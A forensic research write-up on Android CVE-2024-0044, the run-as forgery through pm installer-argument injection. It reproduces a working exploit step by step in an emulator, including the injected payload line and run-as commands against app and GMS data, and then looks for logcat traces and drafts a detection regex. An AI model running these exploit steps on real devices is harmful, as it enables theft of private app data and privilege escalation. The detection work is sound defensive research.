-[ Experiment 0x00 - Exploring the traces of CVE-2024-0044 ]-

By And3s for the K+Lab of Fundación Karisma.
This writing is distributed under a Creative Commons CC BY-SA (Attribution-ShareAlike) license.
Spanish version

–[ ToC ]–

0x01 Introduction 0x02 The vulnerability 0x03 Possible uses of this vulnerability 0x04 Exploit (Theory) 0x05 Testing the exploit and collecting data 0x06 Finding traces of the exploit 0x07 Creating rules 0x08 The end

—[ 0x01 Introduction ]—

I hope this is the first of many experiments with vulnerabilities in Android (initially). The idea of ​​this experiment is to take a vulnerability in Android, understand it, exploit it, and do an analysis that allows us to find traces of the exploitation of said vulnerability. Then, we will try to create Yara or STIX2 rules that allow its detection with tools like MVT.

We know the difficulties of this method for threat detection in Android, since probably the most important input to find traces of exploitation are the system logs and, due to Android design issues, those logs do not survive for long. They are designed as an in-memory ring buffer. This causes information to be overwritten quickly, and any traces found in these logs are lost very quickly.

However, we believe this is an important step in understanding the threats Android is exposed to and is also a first step towards advancing techniques that allow us to overcome the problem of log size in Android for forensic analysis.

In this Experiment, we will use the vulnerability CVE-2024-0044, discovered by the Meta security team and patched in March 2024. It is a very easy vulnerability to exploit and requires very special conditions to be used, but it is equally useful, for example, in forensic extraction systems such as those of Cellebrite.

—[ 0x02 The vulnerability ]—

This relatively recent vulnerability affects Android versions 12, 12L, and 13; Exploitation requires access to the ADB shell. It was patched in AOSP in March 2024. More technical information about this patch can be found here.

The vulnerability exists in an Android shell command called run-as. This command allows executing other commands on behalf of other applications, as long as that application has debug mode enabled. Debug mode is primarily used in application development environments, for example, to access files in the application’s data directory, which would not normally be accessible from the terminal as the user running the shell.

The applications we normally run on our devices have the debug mode option disabled, because they are not development versions but releases.

The CVE-2024-0044 exploit allows commands to be executed on behalf of other applications and, in this way, access, for example, an application’s private files; something that should not be possible in the Android security model. Furthermore, this vulnerability can also be used to escalate privileges.

The vulnerability resides (initially) in the pm (PackageManager) command of the ADB shell and is due to the fact that pm does not sanitize the input of the -i (installer) argument, allowing special characters to be passed, for example '\n' (new line) or spaces. In Android, information about installed packages is stored mainly in two files: /data/system/packages.xml and /data/system/packages.list. When information is written to packages.xml, it is sanitized correctly, but the information written to packages.list is not. This means that we can write “new lines” in packages.list, impersonating legitimate entries for installed applications. It turns out that the run-as command uses packages.list to obtain information about the applications under whose name it will be run, including whether the application is debuggable or not. If we manage to write an entry in this file with an application’s data (package name, User ID, Data Directory, etc.), we can also make the “debuggable” option appear active for the run-as command, thus allowing commands to be run on behalf of that application.

But that’s not all.

Android’s defense in depth, which includes additional checks in the run-as command and assigning SELinux contexts/rules to both applications (processes) and files, would make this vulnerability only exploitable for applications with untrusted_app context (i.e., regular applications installed from the Store or side-loaded on the phone) but not for applications with contexts like priv_app (privileged application) or platform_app (platform application), which have more privileges and handle more critical aspects of the system. The checks that run-as does to meet this restriction include, for example, verifying if the owner of the data directory of the application that is going to run corresponds to the user (User ID) assigned to the application and, since in any case what is executed with run-as will run in the run-as_app context, there is a restriction that does not allow using the stat() syscall on a file or directory marked with the privapp_data_file context (context assigned to the data directories of privileged applications). Therefore, this check would fail for privileged applications. But, there is a directory for which run-as makes a special case: /data/user/0. For this it does some special checks, but it does NOT check if the User ID of the app is the owner of the data directory. So, it is possible to use the /data/user/0 directory as the data directory of the “fake” application (injected in packages.list) and run-as will have no problem executing commands on behalf of that application. Yay!

This vulnerability was rated 7.8 in the CVSS system, which classifies it with severity: high.

Note: This is an effort to try to explain this vulnerability on my part, a n00b. For the most official explanations, it’s better to refer to the reports published by Meta about this vulnerability:

–[ 0x03 Possible uses of this vulnerability ]–

This vulnerability, although it already requires significant access to the exploitable device (such as being able to use ADB, which is already a lot), breaks the Android security model, where an application’s data should be inaccessible, even for the same user of the device.

Exploiting this vulnerability makes it possible, for example, to extract the entire WhatsApp database, as explained in this article:

Additionally, as Meta reports explain, thanks to the fact that it can act as priv_app, write access is obtained to folders where “code” used by normal and system applications is stored. Specifically, they refer to ODEX / VDEX files located in the /data/user_de/0/com.google.android.gms/app_chimera/m/*/oat/ directory of GMS (Google Mobile Services). Since this vulnerability makes it possible to impersonate the user assigned to the com.google.android.gms application, files can be replaced with unsigned code that is widely used on GMS-enabled phones (most, I would say). This allows two things:

TODO: Replacing cached ODEX/VDEX files is a very interesting technique and I hope we can test it soon in an Experiment.

For forensic devices, for example, those manufactured by Cellebrite, this vulnerability can be useful in information extraction. Let’s remember that many of these forensic devices have the ability to crack phone passwords, or that in police proceedings, access to the phone can be forced through threats or violence. This would create the necessary conditions to exploit this vulnerability. Furthermore, the ability to achieve persistence provides the opportunity to infect the phone with malware running under privileged conditions.

In other (social) contexts, this vulnerability could be used, for example, by abusive partners to extract databases from messaging apps. A proof of concept (PoC) for this use case is public and can be found here.

–[ 0x04 Exploit (theory) ]–

[This section will explain the exploit, but the next one (Testing the exploit and collecting data) will have more practical details of the exploitation.]

This vulnerability was chosen for this first experiment, among other reasons, because of how easy it is to exploit. Let’s see.

Meta’s article on this vulnerability provides an almost ready-to-use PoC in just 4 lines of code:

1
2
3
4
5
6
7
8
9
# Pretty ugly way to get the package's UID, but I couldn't find a simpler one. 
UID=$(pm list packages -U | sed -n "s/^package:$1 uid://p") 

# This is the line we inject... 
PAYLOAD="@null 
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" 

# ...and this is how we inject it. 
pm install -i "$PAYLOAD" any-app.apk 

(Taken from https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html on January 9, 2025)

This code is made as a bash script, however, it does not work like that, but let’s review each part to understand what it does:

  1. Get the UID (User ID) of the application we want to impersonate:

    UID=$(pm list packages -U | sed -n "s/^package:$1 uid://p") 
    

Here the variable $1 (the first argument of the script) is replaced by the full name of the application, for example: com.example.vulnerable0 or com.google.android.gms.
If you are in the ADB shell, you can run it like this:

   pm list packages -U | sed -n "s/^package:com.example.vulnerable0 uid://p" 

For this example, we will assume that the output of this command was: 10147.

  1. Prepare the line that we are going to inject into packages.list, for that we will use the PAYLOAD variable:

    # This is the line we inject... 
    PAYLOAD="@null 
    victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" 
    

The first @null will be the installer that will be passed to the -i option of pm and then comes a new line with the entry that will be injected into packages.list. For this case, victim should be replaced with the name of the application we want to impersonate. Then, $UID is replaced with the result from step 1. After that, comes a 1 which is precisely where we trick run-as into thinking the application is debuggable. Then we have /data/user/0 as the application’s data directory; we use this because it works for any application in the context of this vulnerability. Next, default:targetSdkVersion=28 is used to derive the SELinux domain and, in this case, it is set in a generic way that it works for any application that uses API >= 28. The rest of the arguments, according to the Meta article, are not relevant to run-as and I didn’t investigate what they were either.

For practical purposes, our PAYLOAD would look like this:

   PAYLOAD="@null 
   com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" 
  1. Using our PAYLOAD, we install any app using pm. According to the tests done, this application cannot be debuggable:

    pm install -i "$PAYLOAD" any-app.ap 
    
  2. We can test if the exploit worked by listing the private files of the victim application:

    run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable 
    

    If we get a list of files, voila!, the exploit worked.

But let’s go to the details of the practice: using an emulator, and doing the whole process in a controlled environment.

–[ 0x05 Testing the exploit and collecting data ]–

For this experiment, the Virtual Device Manager that comes with Android Studio was used to run an image of a Pixel 4 with API 31 (Android 12) with Google Play Services (without root). Initially, the same model was tested, but with API 33 (Android 13), and it seems that the installed image already had the update that fixes this vulnerability (exactly that update).

TODO: Learn how to install images on the emulator with patch levels lower than the default ones.

An empty test app was created that does nothing, called dummyApp, to be used as the app installed in the final step of the exploitation. It was compiled as release to work in this experiment.

Another app, also empty, was created to test with an application that ran in the untrusted_app SELinux domain. This app is called vulnerable0 (com.example.vulnerable0). Likewise, it was compiled as release so that it is not debuggable.

With the emulator up and adb connected, we open a shell (adb shell), then install vulnerable0 in the emulator and start:

Preliminary checks

  1. Patch level:

    emulator64_x86_64_arm64:/ $ getprop ro.build.version.security_patch 
    2021-12-01 
    emulator64_x86_64_arm64:/ $ 
    

    We have that the last patch installed on this machine is from January 12, 2021. This vulnerability works for Android 12 and 13 with a patch level lower than 2024-03-01. Therefore, everything should work.

  2. Let’s now test, precisely, the security we intend to bypass. First we will try to list the files in the data directory of vulnerable0 from the shell and then we try to use run-as to do the same. Let’s see what happens:

    emulator64_x86_64_arm64:/ $ ls -al /data/data/com.example.vulnerable0/ 
    ls: /data/data/com.example.vulnerable0/: Permission denied
    
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/ 
    run-as: package not debuggable: com.example.vulnerable0 
    emulator64_x86_64_arm64:/ $ 
    

    As we can see, from the shell we receive a Permission denied and run-as complains that the application is not debuggable and refuses to execute the command. This is as expected.

First forensic extraction

With the phone in a “clean” state, with only vulnerable0 installed, we can do a forensic extraction (with androidqf) to then find differences with another extraction made after running the exploit. This step is still an open question, since extractions made by androidqf or other systems will differ in many ways, and those differences will probably mean nothing most of the time. But let’s do it, this is an experiment.

  1. We run androidqf. In the backup question, we choose everything, and in the download application questions we choose Do not download anything.

    $ ./androidqf_v1.7_linux_amd64 
    
    androidqf-log.ansi 
    
    		androidqf - Android Quick Forensics 
    		https://github.com/botherder/androidqf 
    
    In order to use androidqf, the device needs to be authorized and have USB debugging enabled. 
    Please follow the these instructions if you haven't configured the device yet: 
      https://developer.android.com/studio/debug/dev-options#enable 
    
    Started new acquisition c144c4e6-290e-4172-97e9-58139749e374 
    Collecting device properties... 
    Collecting logcat... Collecting 
    list of running processes... 
    Collecting list of services... 
    Collecting device settings... 
    Collecting device diagnostic information. This might take a while... 
    Would you like to take a backup of the device? 
    * Everything 
    Generating a backup with argument -all. Please check the device to authorize the backup... 
    Backup completed! 
    Collecting system logs... 
    Failed to pull log file /proc/last_kmsg: adb: error: failed to stat remote object '/proc/last_kmsg': No such file or directory 
    Collecting information on installed apps. This might take a while... 
    Found a total of 179 installed packages 
    Would you like to download copies of all apps or only non-system ones? 
    * Do not download any 
    Acquisition completed! 
    Press Enter to finish... 
    $ 
    

    We take note of the name of the acquisition; in this case: c144c4e6-290e-4172-97e9-58139749e374.

Run the Exploit

Finally! Let’s test this exploit, initially trying to impersonate vulnerable0:

  1. Upload dummyApp to the emulator to be able to use it later. In my case, in a shell on the computer (not the emulator’s), we run the following command changing the paths to those corresponding to the testing environment:

    $ adb push ~/AndroidStudioProjects/dummyApp/app/release/app-release.apk /data/local/tmp 
    /home/and3s/AndroidStudioProjects/dummyApp/app/release/app-release.apk: 1 file pushed, 0 skipped. 269.2 MB/s (4823022 bytes in 0.017s) 
    $ 
    

    This will place our app in /data/local/tmp/ inside the emulator.

  2. Let’s find out which user was assigned to the com.example.vulnerable0 application:

    emulator64_x86_64_arm64:/ $ pm list packages -U | grep com.example.vulnerable0 
    package:com.example.vulnerable0 uid:10147 
    
  3. Let’s prepare the PAYLOAD that we will pass to pm when we install dummyApp and that will inject the packages.list file with the falsified entry. In this case, it is advisable to build the PAYLOAD in a text editor and then paste it into the emulator shell. This is what it would look like at the end:

    emulator64_x86_64_arm64:/ $ PAYLOAD="@null 
    > com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null" 
    emulator64_x86_64_arm64:/ $ 
    

    What we have done is created an environment variable called PAYLOAD, built in the way explained above. However, there is a difference here: we are using the original data directory (/data/data/com.example.vulnerable0) of the vulnerable0 application, and not /data/user/0, just for variety, since in the next exploit we will use that directory to impersonate a privileged application.

  4. All that remains is to install any app with pm and pass $PAYLOAD as an argument to the -i option and, as a package, pass /data/local/tmp/app_release.apk that contains our dummyApp.

    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/app-release.apk 
    Success 
    emulator64_x86_64_arm64:/ $ 
    
  5. Oops, it didn’t complain! Let’s see if we can now list the files in the data directory of vulnerable0 using run-as:

    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 touch /data/data/com.example.vulnerable0/this 
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/
    total 52 
    drwx------ 5 u0_a147 u0_a147 4096 2025-01-09 16:17 . 
    drwxrwx--x 183 system system 12288 2025-01-09 16:13 .. 
    drwxrws--x 2 u0_a147 u0_a147_cache 4096 2025-01-09 15:02 cache 
    drwxrws--x 2 u0_a147 u0_a147_cache 4096 2025-01-09 15:02 code_cache 
    drwxrwx--x 2 u0_a147 u0_a147 4096 2025-01-09 15:02 files 
    -rw-rw-rw- 1 u0_a147 u0_a147 0 2025-01-09 16:17 this 
    emulator64_x86_64_arm64:/ $ 
    

    OMG! We can list it and also write to it. The first touch command creates an empty file in the application directory and when we list the contents we can see the file, confirming that we have at least read and write permissions in that directory.

  6. Now let’s try impersonating a privileged application: let’s start with com.google.android.gms. This is what the shell would look like doing it for this application:

    emulator64_x86_64_arm64:/ $ pm list packages -U | grep com.google.android.gms 
    package:com.google.android.gms uid:10099 
    
    emulator64_x86_64_arm64:/ $ PAYLOAD="@null 
    m> com.google.android.gms 10099 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" 
    
    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/app-release.apk 
    Success 
    
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms touch /data/user_de/0/com.google.android.gms/app_chimera/m/this 
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ls -al /data/user_de/0/com.google.android.gms/app_chimera/m/ 
    total 84 
    drwx--x--x 10 u0_a99 u0_a99 4096 2025-01-09 16:28 . 
    drwxrwx--x 4 u0_a99 u0_a99 4096 2025-01-09 14:53 .. 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000a 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000b 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000c 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000d 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000e 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000f 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 00000010 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:53 00000011 
    -rw-rw-rw- 1 u0_a99 u0_a99 0 2025-01-09 16:28 this 
    emulator64_x86_64_arm64:/ $ 
    

    As we can see, we can impersonate the user of the Google Mobile Services application, which has a high privilege level.

We have successfully executed the exploit.

Second and third extraction

At this point, another extraction is performed to try to identify changes or logs that may indicate that this vulnerability was exploited. We perform an extraction immediately after running the exploit and another after rebooting the device. I have no idea if this will help, but let’s do it. In the end, there are 3 backups, in this case:

  1. c144c4e6-290e-4172-97e9-58139749e374 –> Backup with a “clean” phone
  2. 0b694fe4-bba1-4736-bf7e-8e48decfaab4 –> Backup after being exploited
  3. f061a297-3356-4d1f-986f-c1b662e4948f –> Backup after being rebooted

Post-Extraction Checks

Since we have the extractions to look at later, for now let’s do some checks to see what else we find on the surface.

  1. Check if the exploit survived the reboot:

    $ adb shell 
    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ls -al /data/user_de/0/com.google.android.gms/app_chimera/m/ 
    total 84 
    drwx--x--x 10 u0_a99 u0_a99 4096 2025-01-09 16:28 . 
    drwxrwx--x 4 u0_a99 u0_a99 4096 2025-01-09 14:53 .. 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000a 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000b 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000c 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000d 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000e 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 0000000f 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:52 00000010 
    drwx--x--x 2 u0_a99 u0_a99 4096 2025-01-09 14:53 00000011 
    -rw-rw-rw- 1 u0_a99 u0_a99 0 2025-01-09 16:28 this 
    emulator64_x86_64_arm64:/ $ 
    

    Yes, it survived.

  2. Now let’s see if the exploit with vulnerable0 persists or was lost with the second exploit:

    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/data/com.example.vulnerable0/ 
    run-as: package not debuggable: com.example.vulnerable0 
    1|emulator64_x86_64_arm64:/ $ 
    

    Oops, the vulnerable0 exploit doesn’t work anymore.

  3. Out of curiosity, let’s look at the SELinux contexts/domains/tags:

    emulator64_x86_64_arm64:/ $ run-as com.google.android.gms ps -Z 
    LABEL USER PID PPID VSZ RSS WCHAN ADDR S NAME 
    u:r:runas_app:s0:c99,c256,c51+ u0_a99 21991 21946 10860044 3352 0 0 R ps 
    emulator64_x86_64_arm64:/ $ 
    

    Among the many details, it is noticeable that the command is executed under the context of runas_app, but the USER is u0a99, that is, com.google.android.gms. Meta reports mention that it is _strange that running as runas_app allows you to read files and write to directories that are privapp_data_file.

–[ 0x06 Finding Traces of the Exploit ]–

Of this whole experiment, this is probably the most experimental part.

First, let’s try using diff to find differences between the extractions. As we said before, some files in the extraction will be very different, such as logcat.txt, dumpsys.txt or processes.txt, so we will exclude them from the diff. On the other hand, backup.ab is a binary file, usually compressed, which does not make much sense to differentiate in this way, so we also leave it out. With these considerations, the final command to compare directory 1 and directory 2 would be like this:

$ diff --color --exclude="logcat.txt" --exclude="dumpsys.txt" --exclude="processes.txt" --exclude="backup.ab" c144c4e6-290e-4172-97e9-58139749e374/ 0b694fe4-bba1-4736-bf7e-8e48decfaab4/ 
Common subdirectories: c144c4e6-290e-4172-97e9-58139749e374/apks and 0b694fe4-bba1-4736-bf7e-8e48decfaab4/apks 
diff --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' c144c4e6-290e-4172-97e9-58139749e374/getprop.txt 0b694fe4-bba1-4736-bf7e-8e48decfaab4/getprop.txt 
9c9 
< [cache_key.get_packages_for_uid]: [-7428564554431353658] 
--- 
> [cache_key.get_packages_for_uid]: [-7428564554431353639] 
11c11 
< [cache_key.is_compat_change_enabled]: [-7428564554431353657] 
--- 
> [cache_key.is_compat_change_enabled]: [-7428564554431353643] 
16c16 
< [cache_key.package_info]: [-7428564554431353656] 
--- 
> [cache_key.package_info]: [-7428564554431353640] 
Common subdirectories: c144c4e6-290e-4172-97e9-58139749e374/logs and 0b694fe4-bba1-4736-bf7e-8e48decfaab4/logs 
diff --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' c144c4e6-290e-4172-97e9-58139749e374/packages.json 0b694fe4-bba1-4736-bf7e-8e48decfaab4/packages.json 
1138a1139,1156 
> "name": "com.example.dummyapp", 
> "files": [ 
> { 
> "path": "/data/app/~~4TuK5bpJwXYFyiQeknCiFw==/com.example.dummyapp-fSxuUX0oLeplFV4wIVlUsA==/base.apk", 
> "local_name": "",
> "md5": "52b1d95a251f11ca988fc5d33b2d9652", 
> "sha1": "1cf20d805e71afa66d96e2a8aae960db0f95ae05",
> "sha256": "206ebc046c576cb802ca60188025840e5b4417cf68e8956d9998fc62c416810d", 
> "sha512": "1998586511d3c6cf6cea94bcb9e6cc4fb90815655b3ac265b54a15a2fe56a47ecd6f4c73c4bffd9479cfe9f898d832fe8dabec0be514e4ebd9deff2179db75dc" 
> } 
> ], 
> "installer": "null", 
> "uid": 0, 
> "disabled": false, 
> "system": false, 
> "third_party": true 
> }, 
> { 
$ 

We can see that only two files change: getprop.txt and packages.json.

In getprop.txt we see that two properties change upon execution. cache_key.get_packages_for_uid is noteworthy, since our vulnerability concerns packages and their UIDs. However, I have no idea what this value could mean, and a quick search doesn’t show me anything I can use as an IOC that this vulnerability was exploited. TODO: Find out more.

packages.json, on the other hand, only shows that dummyapp was indeed installed, but considering that any app installed in the exploit could be anything, this doesn’t seem like IOC material.

Now let’s check if there are any changes between the second extraction and the third:

$ diff -r --color --exclude="logcat.txt" --exclude="dumpsys.txt" --exclude="processes.txt" --exclude="backup.ab" 0b694fe4-bba1-4736-bf7e-8e48decfaab4/ f061a297-3356-4d1f-986f-c1b662e4948f 
diff -r --color '--exclude=logcat.txt' '--exclude=dumpsys.txt' '--exclude=processes.txt' '--exclude=backup.ab' 0b694fe4-bba1-4736-bf7e-8e48decfaab4/getprop.txt f061a297-3356-4d1f-986f-c1b662e4948f/getprop.txt 
3,7c3,7 
< [cache_key.bluetooth.get_adapter_connection_state]: [-8336966882211243241] 
< [cache_key.bluetooth.get_bond_state]: [-8336966882211243245] 
< [cache_key.bluetooth.get_profile_connection_state]: [-8336966882211243240] 
< [cache_key.bluetooth.get_state]: [-8336966882211243239] 
< [cache_key.bluetooth.is_offloaded_filtering_supported]: [-8336966882211243244] 
--- 
> [cache_key.bluetooth.get_adapter_connection_state]: [7769638675921631831] 
> [cache_key.bluetooth.get_bond_state]: [7769638675921631827] 
> [cache_key.bluetooth.get_profile_connection_state]: [7769638675921631832] 
> [cache_key.bluetooth.get_state]: [7769638675921631833] 
> [cache_key.bluetooth.is_offloaded_filtering_supported]: [7769638675921631828] 
9c9 
< [cache_key.get_packages_for_uid]: [-7428564554431353639] 
--- 
> [cache_key.get_packages_for_uid]: [-7428564554431353631] 
16c16
< [cache_key.package_info]: [-7428564554431353640] 
--- 
> [cache_key.package_info]: [-7428564554431353632] 
$ 

Except for the intriguing cache_key.get_packages_for_uid and cache_key.package_info changing again, nothing interesting looks like.

Let’s explore the dumpsys.txt file from the second extraction and look for traces of the exploit with the following commands in the extraction directory:

I’m not posting the outputs of these commands here because they’re too long. In any case, just because I didn’t find anything doesn’t mean there can’t be something useful as an IOC. The dumpsys.txt file extracted by androidqf is the result of running adb dumpsys (I don’t know with what arguments), and presumably, since it’s used to check the “state” of the system, just like Android logs, it’s in a very volatile state.

Let’s now check logcat.txt: Let’s look for vulnerable0:

$ grep -n vulnerable0 logcat.txt 
... 
69065:01-09 15:06:35.622 10298 10298 I auditd : type=1400 audit(0.0:41): avc: denied { getattr } for comm="ls" path="/data/data/com.example.vulnerable0" dev="dm-5" ino=123423 scontext=u:r:shell:s0 tcontext=u:object_r:app_data_file:s0:c147,c256,c512,c768 tclass=dir permissive=0 
69066:01-09 15:06:35.622 10298 10298 W ls : type=1400 audit(0.0:41): avc: denied { getattr } for path="/data/data/com.example.vulnerable0" dev="dm-5" ino=123423 scontext=u:r:shell:s0 tcontext=u:object_r:app_data_file:s0:c147,c256,c512,c768 tclass=dir permissive=0 
... 

This is just a snippet of the command output where we can see our initial test of listing the data directory of vulnerable0, and it was denied. Besides that, there are no more references that have to do with the exploit.

Now let’s search for com.google.android.gms: with the command grep -n com.google.android.gms logcat.txt. The output of this command is too long to review manually; it doesn’t even fit in the terminal.

Let’s try searching for the specific piece of the "1 /data/user/0" exploit with the grep -n "1 /data/user/0" logcat.txt command, but the result is nothing, zero, empty.

So far, we haven’t found any trace of the exploit in the extractions we’ve performed. But let’s try another test.

There are two public exploits for this vulnerability: the Meta PoC and the exploit mentioned above that automates the vulnerability to extract WhatsApp conversations. Here’s the recap. In this exploit, the app that is installed is F-Droid.apk (instead of dummyApp). So:

  1. Download the F-Droid APK from the F-Droid website and upload it to the emulator with adb push F-Droid.apk /data/local/tmp/.
  2. Run the exploit again using the F-Droid APK; extract it and see what happens.

    emulator64_x86_64_arm64:/ $ echo $PAYLOAD 
    @null com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null 
    
    emulator64_x86_64_arm64:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk 
    Success 
    
    emulator64_x86_64_arm64:/ $ run-as com.example.vulnerable0 ls -al /data/user/0/com.example.vulnerable0 
    total 48 
    drwx------ 5 u0_a147 u0_a147 4096 2025-01-10 09:51 . 
    drwxrwx--x 184 system system 12288 2025-01-10 10:24 .. 
    drwxrws--x 2 u0_a147 u0_a147_cache 4096 2025-01-10 09:51 cache 
    drwxrws--x 2 u0_a147 u0_a147_cache 4096 2025-01-10 09:51 code_cache 
    drwxrwx--x 2 u0_a147 u0_a147 4096 2025-01-10 09:51 files 
    emulator64_x86_64_arm64:/ $ 
    

    What we see here is the execution of the exploit to impersonate vulnerable0 using the two possible directories: the magic /data/user/0 and the original application /data/data/com.example.vulnerable0. In both cases we tested that the exploit worked by running ls -al on the data directory of vulnerable0.

    After this execution, we extracted it with androidqf.

A similar check to the one we did on the other extractions shows everything very similar, except for logcat.txt. Let’s look at an excerpt of the output of grep -n vulnerable0 logcat.txt:

$ grep vulnerable0 logcat.txt 
... 
01-10 10:15:57.232 530 575 I am_pss : [5708,10147,com.example.vulnerable0,23123968,8736768,12241920,64311296,0,15,6] 
01-10 10:20:51.852 530 575 I am_pss : [5708,10147,com.example.vulnerable0,23157760,8736768,12255232,64311296,0,15,1] 
01-10 10:24:57.082 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:24:57.085 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 
01-10 10:32:02.620 530 575 I am_pss : [5708,10147,com.example.vulnerable0,22683648,8073216,12301312,63647744,0,15,4] 
01-10 10:36:56.879 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid 
01-10 10:36:56.880 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 
01-10 10:50:53.694 530 575 I am_pss : [5708,10147,com.example.vulnerable0,23149568,8077312,12436480,63651840,0,15,2] 
01-10 11:15:35.060 530 575 I am_pss : [5708,10147,com.example.vulnerable0,23387136,8097792,12472320,63651840,0,15,0] 
$ 

BINGO! We can see four references to our exploit: two with a log level E of PackageInstallerSession and another of level I with the tag am_wtf. Both show the full injected line and both variants of the exploit with the different directories.

I don’t know exactly why this error or, better, this log entry occurs, but several things can be speculated:

What can we conclude from all this?

–[ 0x07 Create rules ]—

We have several options to create rules using the information we have. For this case, STIX and Yara would be the most logical options. For example, MVT uses STIX rules/objects that contain the IOCs used in threat identification. However, their application (in MVT) is limited. In our case, it would be difficult to create a STIX rule that works in MVT to detect the execution of the exploit we are studying. Furthermore, STIX is a standard designed for describing threats in a more contextual way, relating patterns or indicators to campaigns, malware, infrastructure, actors, etc. It is a great tool for sharing threat intelligence, but in our case, such sophistication is not necessary, since all we have is the trace of the execution of an exploit in a log, without being able to connect it to anything more concrete except a public PoC.

On the other hand, Yara rules are much simpler and are limited to searching for binary/textual/etc. patterns in artifacts or files directly, without worrying much about context. They are easy to test and, if necessary, can be “translated” to STIX if necessary. Therefore, for this experiment we will create a Yara rule, which applied to the logcat.txt file of the androidqf extractions looks for a pattern that alerts us about the possible exploitation of this vulnerability.

Our input is these five entries from the androidqf logcat extraction:

01-10 10:24:57.082 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid
01-10 10:24:57.085 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 
01-10 10:32:02.620 530 575 I am_pss : [5708,10147,com.example.vulnerable0,22683648,8073216,12301312,63647744,0,15,4] 
01-10 10:36:56.879 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid 
01-10 10:36:56.880 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 

From here we can discard am_pss which only reports garbage collection. Curiosity? Here you can find some info.

The other lines account for the error we analyzed in the previous section and, since it is an error that is “shouted loudly”, maybe it is something we should look for. In this entry, the part that shows our payload can change in many ways: the application that is intended to impersonate will always be different from the one in vulnerable0, the data directory can be the magic one or any other, the application that is installed to trigger the exploit can be another, the SELinux data can change, etc. However, one thing will not change in this line: the number “1”, alone, delimited by spaces, since remember that this “1” is what tells run-as that the application is debuggable.

If we can create a regular expression (re) that matches a line of text where there is a space-delimited “1” and, later, the installLocation error, we could apply it to the log file and find indications of a possible exploitation of this vulnerability. We could search only for the error, but perhaps, if we add the “1” to the search, we can reduce the occurrence of false positives.

With a little help from a trusted LLM we can arrive at an output similar to this re:

/1\s+.*drops manifest attribute android:installLocation in base\.apk/ 

We can try this re with grep against the logcat.txt that contains the errors and see if it works:

$ grep -P '1\s+.*drops manifest attribute android:installLocation in base\.apk' ~/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt 
01-10 10:24:57.082 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid 
